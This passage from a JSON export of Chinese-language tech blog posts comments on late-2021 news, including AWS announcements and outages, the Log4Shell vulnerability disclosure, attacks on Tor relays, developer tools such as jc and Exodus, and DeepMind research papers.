    "body": "看到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=29297229\">Ask HN: Great tools for solo SaaS founders?</a>」這則，在討論有哪些服務好用的，有人提到了 <a href=\"https://sendgrid.com/\">SendGrid</a> 做為 email 發送服務，結果沒想到下面一堆人幹翻 XDDD\r\n\r\n蠻多人推薦 <a href=\"https://postmarkapp.com/\">Postmark</a> 的，另外有人提到 <a href=\"https://www.sparkpost.com/\">SparkPost</a>。\r\n\r\n另外可以看一下「<a href=\"https://github.com/cjbarber/ToolsOfTheTrade\">Hacker News Tools of the Trade</a>」，之前要找工具都會往這邊翻翻...",
    "title": "SendGrid 意外的被幹翻..."
  },
  {
    "id": "10443",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 打算要推出 Graviton3 的機種了，目前還在 preview 階段：「<a href=\"https://aws.amazon.com/blogs/aws/join-the-preview-amazon-ec2-c7g-instances-powered-by-new-aws-graviton3-processors/\">Join the Preview – Amazon EC2 C7g Instances Powered by New AWS Graviton3 Processors</a>」。\r\n\r\n目前是宣稱與前一代的 Graviton2 相比有 25% 的效能提昇，另外在浮點數與密碼相關的運算上面也會有改善 (這個效能提昇的數字應該是有指令集的幫助)：\r\n\r\n<blockquote>In comparison to the Graviton2, the Graviton3 will deliver up to 25% more compute performance and up to twice as much floating point &amp; cryptographic performance. On the machine learning side, Graviton3 includes support for <code>bfloat16</code> data and will be able to deliver up to 3x better performance.</blockquote>\r\n\r\n另外提到了 signed pointer，可以避免 stack 被搞，不過這邊需要 OS 與 compiler 的支援，算是針對 stack 類的攻擊提出的防禦方案：\r\n\r\n<blockquote>Graviton3 processors also include a new pointer authentication feature that is designed to improve security. Before return addresses are pushed on to the stack, they are first signed with a secret key and additional context information, including the current value of the stack pointer. When the signed addresses are popped off the stack, they are validated before being used. An exception is raised if the address is not valid, thereby blocking attacks that work by overwriting the stack contents with the address of harmful code. We are working with operating system and compiler developers to add additional support for this feature, so please get in touch if this is of interest to you.</blockquote>\r\n\r\n然後是使用 DDR5 的記憶體：\r\n\r\n<blockquote>C7g instances will be available in multiple sizes (including bare metal), and are the first in the cloud industry to be equipped with DDR5 memory. In addition to drawing less power, this memory delivers 50% higher bandwidth than the DDR4 memory used in the current generation of EC2 instances.</blockquote>\r\n\r\n現在還沒看到價錢，不過有可能是跟 <code>c6g</code> 一樣的價位？但考慮到記憶體換架構，也有可能是貴一些的？\r\n\r\n另外翻了一下資料，<a href=\"https://www.arm.com/\">ARM</a> 有發表過新聞稿提到 Graviton2 是 ARM 的 Cortex-M55 機種：「<a href=\"https://community.arm.com/arm-community-blogs/b/high-performance-computing-blog/posts/designing-arm-cortex-m55-cpu-on-arm-neoverse-powered-aws-graviton2-processors\">Designing Arm Cortex-M55 CPU on Arm Neoverse powered AWS Graviton2 Processors</a>」，這次的 Graviton3 應該在之後完整公開後會有更多消息出來...",
    "title": "AWS 要推出 Graviton3 的機種了"
  },
  {
    "id": "10444",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 推出 RUM (Real-User Monitoring) 的功能：「<a href=\"https://aws.amazon.com/blogs/aws/cloudwatch-rum/\">New – Real-User Monitoring for Amazon CloudWatch</a>」。\r\n\r\n從畫面截圖可以看到目前支援 javascript 的版本：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z6Ov7Ei.webp\" /><img src=\"https://i.gslin.com/imgur/z6Ov7Ei.png\" alt=\"\" /></picture>\r\n\r\n一定都會有的全站分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SC6Wn2c.webp\" /><img src=\"https://i.gslin.com/imgur/SC6Wn2c.png\" alt=\"\" /></picture>\r\n\r\n另外給了 client 端的一些情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/h6Ho8B2.webp\" /><img src=\"https://i.gslin.com/imgur/h6Ho8B2.png\" alt=\"\" /></picture>\r\n\r\n然後可以針對比較慢的頁面進行了解：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ud0i6DI.webp\" /><img src=\"https://i.gslin.com/imgur/ud0i6DI.png\" alt=\"\" /></picture>\r\n\r\n然後有觀看頁面的記錄：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fbenV9h.webp\" /><img src=\"https://i.gslin.com/imgur/fbenV9h.png\" alt=\"\" /></picture>\r\n\r\n價錢是每 1M events 是 US$10，感覺不算便宜？\r\n\r\n<blockquote>CloudWatch RUM is available now and you can start using it today in ten AWS Regions: US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), Europe (London), Europe (Frankfurt), Europe (Stockholm), Asia Pacific (Sydney), Asia Pacific (Tokyo), and Asia Pacific (Singapore). You pay $1 for every 100K events that are collected.</blockquote>\r\n\r\n功能上的競爭對手，可以想到 <a href=\"https://www.datadoghq.com/\">Datalog</a> 有 RUM 產品，如果也是沒有 commit 的話是 US$0.65 (Per 1,000 sessions, per month)。\r\n\r\n另外 New Relic 有 Browser Monitoring 的功能應該也是類似的東西，但價錢好像沒有單獨列出來。\r\n\r\n<a href=\"https://mixpanel.com/\">Mixpanel</a> 這邊 $25/month 的套餐可以吃 100K MTUs (monthly tracked users)，每個 MTU 可以吃 1K events，好像也可以做到類似的功能，隔壁 Amplitude 的話沒列出來...\r\n\r\n不過就帳單的立場來說是方便不少...",
    "title": "Amazon CloudWatch 推出 RUM (Real-User Monitoring) 的功能"
  },
  {
    "id": "10446",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 提到的這篇，講 <a href=\"https://aws.amazon.com/\">AWS</a> 決定讓新的 <a href=\"https://aws.amazon.com/ec2/nitro/\">Nitro</a> 架構支援舊的 <a href=\"https://en.wikipedia.org/wiki/Xen\">Xen</a> 機種：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Totally insane, in the best possible way. The EC2 and Nitro teams have created virtualized versions of the oldest (pre-Nitro) instance types that run on more modern hardware using the original PV AMIs!<br><br>Xen-on-Nitro: <a href=\"https://twitter.com/hashtag/AWS?src=hash&amp;ref_src=twsrc%5Etfw\">#AWS</a> Nitro for Legacy Instances - <a href=\"https://t.co/v6c9heqGnd\">https://t.co/v6c9heqGnd</a> <a href=\"https://t.co/H8w1gWBCOL\">pic.twitter.com/H8w1gWBCOL</a></p>&mdash; Jeff Barr ☁️ (@ ? ) ? (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/1465891251295690755?ref_src=twsrc%5Etfw\">December 1, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n原文是「<a href=\"https://perspectives.mvdirona.com/2021/11/xen-on-nitro-aws-nitro-for-legacy-instances/\">Xen-on-Nitro: AWS Nitro for Legacy Instances</a>」這篇，裡面雖然很美化的在講這件事情，但提到了幾個很現實的問題，第一個是仍然有大量使用者 (120 萬) 在用 Xen 架構的機器：\r\n\r\n<blockquote>Today, we still have over 1.2 Million unique customers using Xen-based instances.</blockquote>\r\n\r\n但這些機器其實愈來愈難維護，一方面是 Nitro 讓 AWS 省下很多軟體上的維護，另外一方面是幾乎不會有新的使用者用這些舊機種，在採購上面也會是問題。\r\n\r\n<blockquote>However, the underlying hardware is old and it’s getting increasingly difficult to maintain support for these older hypervisor systems.</blockquote>\r\n\r\n所以 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的團隊把 Nitro 的 Xen 相容架構給實做出來，從 2022 年開始就可以全部都用 Nitro 系統，這樣對 EC2 團隊的維護成本就會大幅下降：\r\n\r\n<blockquote>All of these innovations enable us to continue to offer many of our older instance types well past the lifetime of the original hardware. Starting in 2022, customers launching M1, M2, M3, C1, C3, R3, I2 and T1 instances will land on Nitro supported instances hardware and existing running instances will also be migrated.</blockquote>\r\n\r\n技術債沒辦法消失，就用這種方式降低維護成本耗 XD",
    "title": "AWS 將新的 Nitro 架構回過投來支援以前 Xen 的機種"
  },
  {
    "id": "10449",
    "body": "先前提到的 <a href=\"https://www.mongodb.com/\">MongoDB</a> 相容方案 MangoDB，透過<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 當底層而且維持 open source license 的方案 (參考先前寫的「<a href=\"https://blog.gslin.org/archives/2021/11/04/10404/mangodb%EF%BC%9A%E6%8B%BF-postgresql-%E7%95%B6%E4%BD%9C%E5%BE%8C%E7%AB%AF%E7%9A%84-mongodb-%E7%9B%B8%E5%AE%B9%E5%B1%A4/\">MangoDB：拿 PostgreSQL 當作後端的 MongoDB 相容層</a>」)，正式改名為 <a href=\"https://www.ferretdb.io/\">FerretDB</a>：「<a href=\"https://www.ferretdb.io/2021/12/01/mangodb-has-a-new-name-and-the-momentum-is-stronger-than-ever-meet-ferretdb/\">MangoDB has a new name, and the momentum is stronger than ever. Meet FerretDB!</a>」。\r\n\r\n依照官方的說明，應該就是收到 <a href=\"https://en.wikipedia.org/wiki/Cease_and_desist\">C&amp;D</a> notice 了：\r\n\r\n<blockquote>Moreover, a representative of MongoDB Inc. asked us to stop using the MangoDB name on our website, GitHub, or anywhere else, due to similarity or potential confusion.</blockquote>\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上沒什麼討論，不過這邊還是列一下：「<a href=\"https://news.ycombinator.com/item?id=29407987\">MangoDB has a new name (ferretdb.io)</a>」，裡面有提到另外的「<a href=\"https://ferretdb.com/\">Ferret Database</a>」這個網站，看起來是真的雪貂網站 XDDD",
    "title": "MangoDB 改名為 FerretDB (雪貂)"
  },
  {
    "id": "10450",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈搜尋的新功能與改善：「<a href=\"https://github.blog/2021-12-08-improving-github-code-search/\">Improving GitHub code search</a>」。\r\n\r\n其中對我感覺比較有趣的是宣佈支援 regular expression，透過 <code>/</code> 包起來搜：\r\n\r\n<blockquote>Search for an exact string, with support for substring matches and special characters, or use regular expressions (enclosed in <code>/</code> separators).</blockquote>\r\n\r\n不知道後面的搜尋系統怎麼做的，我猜是先拉出 substring 搜尋，然後 filtering 處理？",
    "title": "GitHub 搜尋的改善"
  },
  {
    "id": "10451",
    "body": "在「<a href=\"https://nusenu.medium.com/is-kax17-performing-de-anonymization-attacks-against-tor-users-42e566defce8\">Is “KAX17” performing de-anonymization Attacks against Tor Users?</a>」這邊看到針對 <a href=\"https://www.torproject.org/\">Tor</a> 網路攻擊的一些說明...\r\n\r\nBTCMITM20 這組比較好理解，目標也比較明確：\r\n\r\n<blockquote>primary motivation: financial profit (by replacing bitcoin addresses in tor exit traffic)</blockquote>\r\n\r\nKAX17 這組看起來就比較像是政府單位在後面掛：\r\n\r\n<blockquote>motivation: unknown; plausible: Sybil attack; collection of tor client and/or onion service IP addresses; deanonymization of tor users and/or onion services</blockquote>\r\n\r\n其中可以看到同時掌握了不少 hop，這樣就很有機會一路串起來：\r\n\r\n<blockquote>To provide a worst-case snapshot, on 2020–09–08 KAX17's overall tor network visibility would allow them to de-anonymize tor users with the following probabilities:\r\n<ul>\r\n\t<li>first hop probability (guard) : 10.34%</li>\r\n\t<li>second hop probability (middle): 24.33%</li>\r\n\t<li>last hop probability (exit): 4.6%</li>\r\n</ul>\r\n</blockquote>\r\n\r\n由於 Tor 是匿名網路，目前最好的防禦方式還是讓更多人參與加入節點，降低單一團體可以取得足夠組出的資料... 之後找機會整理一下跑了一年多 exit node 的想法好了。",
    "title": "對 Tor 網路的攻擊"
  },
  {
    "id": "10452",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的工具：「<a href=\"https://github.com/intoli/exodus\">Exodus</a>」，官方的說明是這樣：\r\n\r\n<blockquote>Painless relocation of Linux binaries–and all of their dependencies–without containers.</blockquote>\r\n\r\n技術上是把 Linux ELF 檔案搬到其他機器上以外，也幫你把對應的 dynamic library 都一起包進去：\r\n\r\n<blockquote><ul>\r\n\t<li>Finding and bundling all of a binary's dependencies.</li>\r\n\t<li>Launching the binary in such a way that the proper dependencies are used without any potential interaction from system libraries on the destination machine.</li>\r\n</ul></blockquote>\r\n\r\n而 Linux 的 <a href=\"https://www.kernel.org/\">Kernel</a> 因為有儘量維持 ABI compatibility，應該是不會有太大的問題，除非剛好用到新的 API...\r\n\r\n看起來是個除了用 static compile 以外的解法，好像可以來弄弄看 <a href=\"https://ffmpeg.org/\">FFmpeg</a>？",
    "title": "用 Exodus 打包 Linux ELF 檔案到其他機器上"
  },
  {
    "id": "10453",
    "body": "在 <a href=\"https://simonwillison.net/\">Simon Willison</a> 的 blog 上看到的工具：「<a href=\"https://simonwillison.net/2021/Dec/5/jc/\">jc</a>」，專案的網站：「<a href=\"https://github.com/kellyjonbrazil/jc\">JSON CLI output utility</a>」。\r\n\r\n可以把許多種輸出結果轉成 <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> 格式：\r\n\r\n<blockquote>CLI tool and python library that converts the output of popular command-line tools and file-types to JSON or Dictionaries. This allows piping of output to tools like jq and simplifying automation scripts.</blockquote>\r\n\r\n所以就可以這樣用：\r\n\r\n<pre>\r\ndig example.com | jc --dig\r\n</pre>\r\n\r\n然後再丟給 <a href=\"https://github.com/stedolan/jq\">jq</a>：\r\n\r\n<pre>\r\ndig example.com | jc --dig | jq -r '.[].answer[].data'\r\n</pre>\r\n\r\n支援的格式不少，在「Parsers」這段可以看到。\r\n\r\n在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 後可以直接透過系統的 apt 安裝：「<a href=\"https://packages.ubuntu.com/jammy/jc\">Ubuntu – Details of package jc in jammy</a>」，在那之前也可以透過 pip 裝起來用...\r\n\r\n等 Ubuntu 22.04 出了以後應該會變成標配安裝...",
    "title": "與 jq 互相配合的 jc"
  },
  {
    "id": "10454",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的消息，<a href=\"http://www.alexa.com/\">Alexa.com</a> 將在 2022 年五月退役：「<a href=\"https://support.alexa.com/hc/en-us/articles/4410503838999\">We will be retiring Alexa.com on May 1, 2022</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=29488522\">We will be retiring Alexa.com (alexa.com)</a>」這邊。\r\n\r\n討論裡面有提到一些替代方案，大概只有 <a href=\"https://www.similarweb.com/\">similarweb</a> 堪用，另外也有提到「<a href=\"https://tranco-list.eu/\">Tranco</a>」這個：\r\n\r\n<blockquote>A Research-Oriented Top Sites Ranking Hardened Against Manipulation</blockquote>\r\n\r\n歷史啊...",
    "title": "Alexa.com 宣佈將在 2022 年五月退役"
  },
  {
    "id": "10455",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://old.reddit.com/r/GooglePixel/comments/r4xz1f/pixel_prevented_me_from_calling_911/\">Pixel prevented me from calling 911</a>」這則 <a href=\"https://www.reddit.com/\">Reddit</a> 上的發文，提到 Pixel 3 無法撥打 911 的問題，另外 Hacker News 上的討論在這邊可以看到：「<a href=\"https://news.ycombinator.com/item?id=29492884\">Pixel prevented me from calling 911 (reddit.com)</a>」。\r\n\r\n在 <a href=\"https://old.reddit.com/r/GooglePixel/comments/r4xz1f/pixel_prevented_me_from_calling_911/hnrvsr1/\">hnrvsr1</a> 這則 comment 可以看到，目前 <a href=\"https://www.google.com/\">Google</a> 確認了這個軟體 bug，在 <a href=\"https://www.android.com/\">Anrdoid</a> 10 上有安裝 <a href=\"https://teams.com/\">Microsoft Teams</a>，並且是在沒有登入的情況下，就會中這個 bug：\r\n\r\n<blockquote>Based on our investigation we have been able to reproduce the issue under a limited set of circumstances. We believe the issue is only present on a small number of devices with the Microsoft Teams app installed when the user is not logged in, and we are currently only aware of one user report related to the occurrence of this bug. We determined that the issue was being caused by unintended interaction between the Microsoft Teams app and the underlying Android operating system. Because this issue impacts emergency calling, both Google and Microsoft are heavily prioritizing the issue, and we expect a Microsoft Teams app update to be rolled out soon – as always we suggest users keep an eye out for app updates to ensure they are running the latest version.</blockquote>\r\n\r\n這個 bug 聽起來像是有什麼東西在 sandbox 裡沒擋好，被 app 干擾到緊急撥號的流程... 所以 Google 也承諾 Android 的部份也會有對應的更新：\r\n\r\n<blockquote>We will also be providing an Android platform update to the Android ecosystem on January 4.</blockquote>\r\n\r\n不確定台灣的 110、112 與 119 會不會有類似的問題...",
    "title": "Pixel 3 無法撥打 911 的問題"
  },
  {
    "id": "10457",
    "body": "昨天爆出來 <a href=\"https://logging.apache.org/log4j/2.x/\">Log4j2</a> 的 RCE，看了一下 pattern，只要是 Java stack 應該都很容易中獎：「<a href=\"https://www.lunasec.io/docs/blog/log4j-zero-day/\">Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=29504755\">Log4j RCE Found (lunasec.io)</a>」這邊可以看。\r\n\r\n<a href=\"https://www.lunasec.io/\">LunaSec</a> 宣稱這是 0-day RCE，不過 Log4j2 的修正版本 2.15.0 在 2021/12/06 出了，而 exploit 被丟出來是 2021/12/09，但不確定在這之前是不是已經有 exploit 在 internet 上飛來飛去了...\r\n\r\n丟出來的 exploit sample (<a href=\"https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce\">CVE-2021-44228-Apache-Log4j-Rce</a>) 是用 <a href=\"https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol\">LDAP</a> 來打，雖然大多數的 Java 版本不受影響，但還是有其他的面可以攻擊，所以整體上還是很容易打穿，該升級的還是得趕快升級：\r\n\r\n<blockquote>Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.\r\n\r\nHowever, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post.</blockquote>\r\n\r\n週末苦命時間...",
    "title": "Log4j2 的 RCE"
  },
  {
    "id": "10458",
    "body": "沒想到在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到第一名居然是這個連結：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XGQpxXm.webp\" /><img src=\"https://i.gslin.com/imgur/XGQpxXm.png\" alt=\"\" /></picture>\r\n\r\n2019 年的文章：「<a href=\"https://fontsinuse.com/uses/28760/neon-genesis-evangelion\">Neon Genesis Evangelion</a>」，找資料的時候發現有簡體中文版的翻譯：「<a href=\"https://www.thetype.com/2019/12/17434/\">末世感叩击：《新世纪福音战士》的文字世界</a>」。\r\n\r\n這些字型是由日本的 <a href=\"https://fontworks.co.jp/\">Fontworks</a> 所開發出來的 Matisse EB，在片尾的 credit 也可以看到「株式会社フォントワークスジャパン」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X3NcD1b.webp\" /><img src=\"https://i.gslin.com/imgur/X3NcD1b.png\" alt=\"\" /></picture>\r\n\r\n主要是沒想到會在 Hacker News 首頁上的第一名看到這個...",
    "title": "新世紀福音戰士的字型"
  },
  {
    "id": "10459",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=29529062\">Ask HN: Why have we accepted the cookie pop-up situation across the web?</a>」這邊在討論 cookie 的同意視窗，這邊我懶得討論法律上的主題 (像是 <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a>)，主要是提一個方法...\r\n\r\n在 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 預設的列表內 (Filter lists)，可以看到 Annoyances 這段，我這邊是勾了這兩個起來擋：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EBk7mvl.webp\" /><img src=\"https://i.gslin.com/imgur/EBk7mvl.png\" alt=\"\" /></picture>\r\n\r\n依照 GDPR 的要求，tracking 類的 cookie 會需要先 opt-in 才能開始追蹤，直接擋掉反而他也不能追蹤，好處遠超過壞處，有裝 uBlock Origin 的人可以自己設一下...",
    "title": "擋掉煩人的 Cookie 同意視窗"
  },
  {
    "id": "10460",
    "body": "看到「<a href=\"https://shop.boox.com/products/mira?variant=41174306619592\">BOOX Mira Series</a>」這個，主要是因為現在公司的老闆是電子墨水的發明人之一 (也是 <a href=\"https://en.wikipedia.org/wiki/E_Ink\">E Ink</a> 的 cofounder)，所以看到一些電子墨水的新聞也會覺得有趣...\r\n\r\n比較小的 BOOX Mira 是 13.3\" 的 4:3 螢幕，但 resolution 也已經拉到 2200x1650 了，207 ppi，走 Mini HDMI 或是 Type C 輸入，賣 US$799，從圖片上看起來像是攜帶性的。\r\n\r\n而比較大的 BOOX Mira Pro 則是 25.3\" 的 16:9 螢幕 (3200x1800)，145 ppi，可以走 HDMI/Mini HDMI/DP 或是 Type C，價錢則是 US$1799，從圖片上看起來是放在桌面上的。\r\n\r\n因為電子紙的特性，畫面的更新速度不像傳統螢幕那樣，要想一下使用的情境...",
    "title": "電子紙的螢幕 BOOX Mira Series"
  },
  {
    "id": "10461",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 放出前幾天 <code>us-east-1</code> 出事的報告了：「<a href=\"https://aws.amazon.com/message/12721/\">Summary of the AWS Service Event in the Northern Virginia (US-EAST-1) Region</a>」，Hacker News 上的討論「<a href=\"https://news.ycombinator.com/item?id=29516482\">Summary of the AWS Service Event in the Northern Virginia (US-East-1) Region (amazon.com)</a>」也可以看一下，裡面也有人提到儘量閃開 <code>us-east-1</code>。\r\n\r\n而爆炸當天的討論「<a href=\"https://news.ycombinator.com/item?id=29473630\">AWS us-east-1 outage (amazon.com)</a>」也可以看一看，裡面還有聊到企業文化的問題...\r\n\r\nAWS 的 <code>us-east-1</code> 除了是 AWS 最早的區域以外，也是目前 AWS 內功能最多的區域 (大多數新功能在第一波都會開放 <code>us-east-1</code> 使用)，然後也是最便宜的區域，所以會有很多人都用這個區域提更服務。\r\n\r\n也因為這樣，這個區域也是 AWS 內最大的區域，加上 AWS 是目前最大的公有雲，導致了這個區域的很多東西會遇到以前的人都沒遇過的問題，大概每年 (或是每兩年) 就會有一次比較嚴重的 outage，算是為了價錢而選擇 <code>us-east-1</code> 的人要注意的。\r\n\r\n說到價錢，如果是為了找價錢比較低的區域，另外一個可以考慮選擇是 <code>us-west-2</code>，出新功能與新產品時也常常會被放進第一波，目前看起來的歷史記錄應該是比 <code>us-east-1</code> 好不少...\r\n\r\n這次出問題的主要是內部控制用的網路 (被稱為 internal network) 擁塞，而非客戶在用的網路 (被稱為 main network)：\r\n\r\n<blockquote>To explain this event, we need to share a little about the internals of the AWS network. While the majority of AWS services and all customer applications run within the main AWS network, AWS makes use of an internal network to host foundational services including monitoring, internal DNS, authorization services, and parts of the EC2 control plane.</blockquote>\r\n\r\n後面也有提到因為壅塞而導致 monitoring 系統受到影響，只能就手上的 log 去分析猜測，然後逐步排除問題，而 deployment 系統也使用內部網路，所以更新的速度也快不起來...\r\n\r\n不過基本上可以預期明年或是後年應該還是會再來一波...",
    "title": "前幾天 AWS 的 us-east-1 出事報告"
  },
  {
    "id": "10462",
    "body": "最近大家都在忙著補 <a href=\"https://logging.apache.org/log4j/2.x/\">Log4j2</a> 的安全漏洞 (先前在「<a href=\"https://blog.gslin.org/archives/2021/12/11/10457/log4j2-%e7%9a%84-rce/\">Log4j2 的 RCE</a>」這邊有提到)，有人整理了目前受到影響的軟體的清單以及對應的討論連結：「<a href=\"https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/\">Log4Shell log4j vulnerability (CVE-2021-44228) - cheat-sheet reference guide</a>」。\r\n\r\n用這包來翻起來會方便一些，另外也可以順便翻一下有什麼其他軟體中獎...\r\n\r\n然後 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的 CEO Matthew Prince 在 <a href=\"https://twitter.com/\">Twitter</a> 上有提到從他們家的資料看起來，2021/12/01 就已經有攻擊在外面跑了，這也是之前會說這是 0-day 的原因：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Earliest evidence we’ve found so far of <a href=\"https://twitter.com/hashtag/Log4J?src=hash&amp;ref_src=twsrc%5Etfw\">#Log4J</a> exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.</p>&mdash; Matthew Prince ? (@eastdakota) <a href=\"https://twitter.com/eastdakota/status/1469800951351427073?ref_src=twsrc%5Etfw\">December 11, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "受到 Log4j2 影響的清單"
  },
  {
    "id": "10463",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Daily Lobsters</a> 上看到 <a href=\"https://www.keepassx.org/\">KeePassX</a> 宣佈不再繼續維護了：「<a href=\"https://www.keepassx.org/index.html%3Fp=636.html\">Development stopped</a>」，在 <a href=\"https://lobste.rs/\">Lobsters</a> 上的討論也可以翻翻：「<a href=\"https://lobste.rs/s/sxeh60/keepassx_development_stopped\">KeePassX development stopped</a>」。\r\n\r\nKeePassX 與 KeePassXC 都是 open source 版本的 password manager，單檔的設計可以配合很多不同的服務同步，自己架 <a href=\"https://syncthing.net/\">Syncthing</a> 或是用 <a href=\"https://www.dropbox.com/\">Dropbox</a> 之類的同步都是可行的，看對安全性的要求如何。\r\n\r\nKeePassX 上次的更新是 2016 年推出的 2.0.3，已經超過五年沒有更新了。官方建議的替代方案是 <a href=\"https://keepassxc.org/\">KeePassXC</a>：\r\n\r\n<blockquote>KeePassX is no longer actively maintained.\r\n\r\nYou might want to switch to KeePassXC which is based on KeePassX.</blockquote>\r\n\r\n算是接棒交接出去...",
    "title": "KeePassX 宣佈不再維護了"
  },
  {
    "id": "10464",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的消息，<a href=\"https://www.deepmind.com/\">DeepMind</a> 發了一篇新的論文，講 Player of Games 這個新的演算法：「<a href=\"https://arxiv.org/abs/2112.03178\">Player of Games</a>」，Hacker News 上的討論在這：「<a href=\"https://news.ycombinator.com/item?id=29481665\">Player of Games (arxiv.org)</a>」。\r\n\r\n照留言上的討論，Player of Games 的名字由來應該是取自科幻小說《<a href=\"https://en.wikipedia.org/wiki/The_Player_of_Games\">The Player of Games</a>》。\r\n\r\n這是一個更一般性的演算法，可以同時駕馭 perfect information 與 imperfect information：\r\n\r\n<blockquote>We introduce Player of Games, a general-purpose algorithm that unifies previous approaches, combining guided search, self-play learning, and game-theoretic reasoning. Player of Games is the first algorithm to achieve strong empirical performance in large perfect and imperfect information games -- an important step towards truly general algorithms for arbitrary environments.</blockquote>\r\n\r\n論文裡面也提到以前的各種演算法 (包含 DeepMind 自家的一些演算法)。在 perfect information 的例子來說，可以看到沒有 <a href=\"https://en.wikipedia.org/wiki/AlphaZero\">AlphaZero</a> 強 (西洋棋與圍棋)，但也已經有一定水準了，算是個起頭的感覺：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/F9WlDr1.webp\" /><img src=\"https://i.gslin.com/imgur/F9WlDr1.png\" alt=\"\" /></picture>\r\n\r\n主要的成就在於一般性，但論文後面也有提到，目前這個演算法需要的資源還是過大，還有改善的空間...",
    "title": "DeepMind 的 Player of Games"
  },
  {
    "id": "10465",
    "body": "<a href=\"https://deepmind.com/\">DeepMind</a> 丟出新聞稿，提到了 Gopher 這個比 <a href=\"https://en.wikipedia.org/wiki/OpenAI\">OpenAI</a> 家的 <a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a> 更暴力的 language model：「<a href=\"https://deepmind.com/blog/article/language-modelling-at-scale\">Language modelling at scale: Gopher, ethical considerations, and retrieval</a>」。\r\n\r\nGPT-3 是 175 billion 個參數，Gopher 則是拉到 280 billion，加上 tune 了不少東西，在成績上面可以看出來好不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6EqXVjL.webp\" /><img src=\"https://i.gslin.com/imgur/6EqXVjL.png\" alt=\"\" /></picture>\r\n\r\n另外是主打反歧視與倫理道德標準 (在「Ethical and social risks from Large Language Models」這邊提到)。\r\n\r\n看起來主要是推出對應的產品，跟 OpenAI 家對打...",
    "title": "DeepMind 的 Gopher"
  },
  {
    "id": "10467",
